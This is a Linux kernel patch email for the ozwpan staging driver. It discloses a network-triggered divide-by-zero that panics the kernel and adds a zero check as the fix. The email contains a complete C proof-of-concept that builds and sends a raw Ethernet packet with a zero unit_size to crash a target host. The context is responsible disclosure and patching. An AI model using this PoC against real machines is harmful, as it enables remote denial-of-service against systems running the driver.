[PATCH 3/4] ozwpan: divide-by-zero leading to panic

["Jason A. Donenfeld" <Jason () zx2c4 com>]

A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
        if (c >= '0' && c <= '9')
                return c - '0';
        if (c >= 'a' && c <= 'f')
                return c - 'a' + 10;
        if (c >= 'A' && c <= 'F')
                return c - 'A' + 10;
        return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
        int i;
        for (i = 0; i < 6; i++) {
                int a, b;
                a = hex2num(*txt++);
                if (a < 0)
                        return -1;
                b = hex2num(*txt++);
                if (b < 0)
                        return -1;
                *addr++ = (a << 4) | b;
                if (i < 5 && *txt++ != ':')
                        return -1;
        }
        return 0;
}

int main(int argc, char *argv[])
{
        if (argc < 3) {
                fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
                return 1;
        }

        uint8_t dest_mac[6];
        if (hwaddr_aton(argv[2], dest_mac)) {
                fprintf(stderr, "Invalid mac address.\n");
                return 1;
        }

        int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
        if (sockfd < 0) {
                perror("socket");
                return 1;
        }

        struct ifreq if_idx;
        int interface_index;
        strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
        if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
                perror("SIOCGIFINDEX");
                return 1;
        }
        interface_index = if_idx.ifr_ifindex;
        if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
                perror("SIOCGIFHWADDR");
                return 1;
        }
        uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

        struct {
                struct ether_header ether_header;
                struct oz_hdr oz_hdr;
                struct oz_elt oz_elt;
                struct oz_elt_connect_req oz_elt_connect_req;
                struct oz_elt oz_elt2;
                struct oz_multiple_fixed oz_multiple_fixed;
        } __packed packet = {
                .ether_header = {
                        .ether_type = htons(OZ_ETHERTYPE),
                        .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
                        .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
                },
                .oz_hdr = {
                        .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
                        .last_pkt_num = 0,
                        .pkt_num = htole32(0)
                },
                .oz_elt = {
                        .type = OZ_ELT_CONNECT_REQ,
                        .length = sizeof(struct oz_elt_connect_req)
                },
                .oz_elt_connect_req = {
                        .mode = 0,
                        .resv1 = {0},
                        .pd_info = 0,
                        .session_id = 0,
                        .presleep = 0,
                        .ms_isoc_latency = 0,
                        .host_vendor = 0,
                        .keep_alive = 0,
                        .apps = htole16((1 << OZ_APPID_USB) | 0x1),
                        .max_len_div16 = 0,
                        .ms_per_isoc = 0,
                        .up_audio_buf = 0,
                        .ms_per_elt = 0
                },
                .oz_elt2 = {
                        .type = OZ_ELT_APP_DATA,
                        .length = sizeof(struct oz_multiple_fixed)
                },
                .oz_multiple_fixed = {
                        .app_id = OZ_APPID_USB,
                        .elt_seq_num = 0,
                        .type = OZ_USB_ENDPOINT_DATA,
                        .endpoint = 0,
                        .format = OZ_DATA_F_MULTIPLE_FIXED,
                        .unit_size = 0,
                        .data = {0}
                }
        };

        struct sockaddr_ll socket_address = {
                .sll_ifindex = interface_index,
                .sll_halen = ETH_ALEN,
                .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
        };

        if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) 
{
                perror("sendto");
                return 1;
        }
        return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason () zx2c4 com>
---
 drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index cd6c63e..2e67956 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
                        struct oz_multiple_fixed *body =
                                (struct oz_multiple_fixed *)data_hdr;
                        u8 *data = body->data;
-                       int n = (len - sizeof(struct oz_multiple_fixed)+1)
+                       int n;
+                       if (!body->unit_size)
+                               break;
+                       n = (len - sizeof(struct oz_multiple_fixed)+1)
                                / body->unit_size;
                        while (n--) {
                                oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
-- 
2.3.6